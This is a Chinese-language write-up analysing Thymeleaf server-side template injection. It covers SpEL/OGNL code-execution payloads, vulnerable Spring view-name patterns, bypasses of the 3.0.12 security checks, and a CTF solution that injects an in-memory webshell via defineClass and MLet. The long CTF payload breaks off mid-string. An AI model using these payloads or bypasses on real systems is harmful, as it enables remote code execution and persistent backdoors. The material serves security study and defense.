Thymeleaf SSTI
字数 1404 2025-08-06 18:08:09
Thymeleaf SSTI漏洞分析与利用
0x01 Thymeleaf基础
模板引擎概述
Thymeleaf是SpringBoot中的模板引擎,类似于Python中的Jinja2,负责渲染前端页面。它是一个现代的Java服务器端模板引擎,基于XML/XHTML/HTML5语法。
表达式类型
${...}- 变量表达式(OGNL或SpEL表达式)*{...}- 选择变量表达式#{...}- 消息表达式(用于国际化)@{...}- 链接URL表达式~{...}- 片段表达式(支持模板重用)
表达式执行环境
- 基于Spring应用:使用Spring EL
- 非Spring应用:使用OGNL
示例Payload:
// SpringEL
${T(java.lang.Runtime).getRuntime().exec('calc')}
// OGNL
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
表达式内联
Thymeleaf支持表达式内联,格式为[[...]]或[(...)],例如[[${7*7}]]。
预处理表达式
预处理表达式由双下划线包围,如__${expression}__,会被提前执行:
#{selection.__${sel.code}__}
0x02 SSTI漏洞示例
示例1:片段表达式漏洞
在Thymeleaf 3.x中,片段表达式的复用可能导致SSTI漏洞。
利用方式:
/(${T(java.lang.Runtime).getRuntime().exec('calc')})
@{}不会直接解析路径中的${},但会将括号包裹的内容视为参数执行。
示例2:Spring视图操纵漏洞
不受限制的View可能导致SSTI。
危险代码模式:
// 路径拼接
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; // 污染模板路径
}
// 片段表达式拼接
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; // 污染片段表达式
}
3.0.12版本绕过技巧
在Thymeleaf 3.0.12中新增了安全检查,可通过以下方式绕过:
-
破坏requestURI内容:
/doc// /doc;//doc/;/ -
绕过
containsSpELInstantiationOrStatic检查:- 使用大小写绕过
new关键字检测 - 使用
`或其他符号(如%0a、%09)绕过T(检测
- 使用大小写绕过
0x03 实战案例:网鼎杯FindIT
漏洞分析
- 控制器存在
/doc/{data}路由,未使用@ResponseBody注解 - 使用LoggerFactory.getLogger记录日志
- 存在Thymeleaf SSTI漏洞但被3.0.12版本防护
绕过Payload
http://localhost:8080/doc/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("BASE64_ENCODED_CLASS"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"main.x
内存马注入
-
利用SPEL加载恶意类:
T(org.springframework.cglib.core.ReflectUtils).defineClass("类名", Base64解码的字节码, 类加载器) -
从上下文获取Bean:
T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T(Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")) -
注册内存马:
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
内存马实现关键点
- 使用
registerMapping直接注册RequestMapping - 定义
PatternsRequestCondition和RequestMethodsRequestCondition - 创建
RequestMappingInfo对象 - 实现命令执行方法并返回
ResponseEntity
0x04 防护与绕过技巧
防护机制
checkViewNameNotInRequest方法检查视图名containsSpELInstantiationOrStatic方法检测危险表达式
绕过技巧
-
URL编码处理:
- 使用
Base64Utils.encodeToUrlSafeString避免/被解析为路径
- 使用
-
关键字绕过:
- 在
T后添加空格或特殊字符 - 使用
nEw代替new
- 在
-
特殊字符插入:
T%20(java.lang.Runtime)
0x05 总结
Thymeleaf SSTI漏洞主要出现在以下场景:
- 动态拼接视图名称
- 片段表达式污染
- 不受限制的视图解析
防御措施应包括:
- 避免直接拼接用户输入到视图名称
- 使用最新版Thymeleaf
- 对用户输入进行严格过滤